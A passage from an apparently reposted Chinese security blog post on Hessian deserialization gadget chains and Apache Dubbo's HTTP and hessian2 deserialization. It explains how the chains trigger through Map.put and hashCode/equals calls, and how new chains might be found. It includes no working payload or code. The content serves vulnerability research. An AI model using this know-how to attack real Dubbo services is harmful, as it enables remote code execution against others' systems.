通過以上兩條鏈可以看出,在Hessian反序列化中基本都是利用了反序列化處理Map類型時(shí),會(huì)觸發(fā)調(diào)用 Map.put-> Map.putVal-> key.hashCode/ key.equals->...,后面的一系列出發(fā)過程,也都與多態(tài)特性有關(guān),有的類屬性是Object類型,可以設(shè)置為任意類,而在hashCode、equals方法又恰好調(diào)用了屬性的某些方法進(jìn)行后續(xù)的一系列觸發(fā)。所以要挖掘這樣的利用鏈,可以直接找有hashCode、equals以及readResolve方法的類,然后人進(jìn)行判斷與構(gòu)造,不過這個(gè)工作量應(yīng)該很大;或者使用一些利用鏈挖掘工具,根據(jù)需要編寫規(guī)則進(jìn)行掃描。

Apache Dubbo反序列化簡單分析
Apache Dubbo Http反序列化

先簡單看下之前說到的HTTP問題吧,直接用官方提供的 samples,其中有一個(gè)dubbo-samples-http可以直接拿來用,直接在 DemoServiceImpl.sayHello方法中打上斷點(diǎn),在 RemoteInvocationSerializingExporter.doReadRemoteInvocation中反序列化了數(shù)據(jù),使用的是Java Serialization方式:

Hessian 反序列化及相關(guān)利用鏈

抓包看下,很明顯的 ac ed標(biāo)志:

Hessian 反序列化及相關(guān)利用鏈

Apache Dubbo Dubbo反序列化

同樣使用官方提供的dubbo-samples-basic,默認(rèn)Dubbo hessian2協(xié)議,Dubbo對(duì)hessian2進(jìn)行了魔改,不過大體結(jié)構(gòu)還是差不多,在 MapDeserializer.readMap是依然與Hessian類似:

Hessian 反序列化及相關(guān)利用鏈

參考
  1. https://docs.ioin.in/writeup/blog.csdn.net/_u011721501_article_details_79443598/index.html
  2. https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf
  3. https://www.mi1k7ea.com/2020/01/25/Java-Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
  4. https://zhuanlan.zhihu.com/p/44787200
向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請(qǐng)聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI